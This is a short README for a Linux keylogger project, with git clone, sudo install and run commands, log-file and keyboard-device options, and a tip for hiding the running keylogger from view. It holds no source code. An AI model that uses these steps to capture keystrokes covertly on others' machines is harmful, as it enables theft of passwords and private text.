Linux-Keylogger/README.md

# Linux Keylogger

# Instructions

- Download
```sh
$ git clone https://github.com/dimkouv/Linux-Keylogger
```

- Install
```sh
$ cd Linux-Keylogger
$ sudo ./install.sh
```

- Run
```sh
$ sudo keylogger
```

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- Optional  

Give custom log file
```sh
$ keylogger -o /path/to/my/logfile.txt
```


Change keyboard device
```sh
$ keylogger -k /dev/input/eventX
```

Find your keyboard device. It should be in the below format.  
> /dev/input/eventX

```sh
$ cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard
```




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- Open ```/usr/share/keylogger/.settings``` for manual settings.  
- To hide keylogger press Ctrl+Z and then close the terminal. Close it using ```sudo killall keylogger```.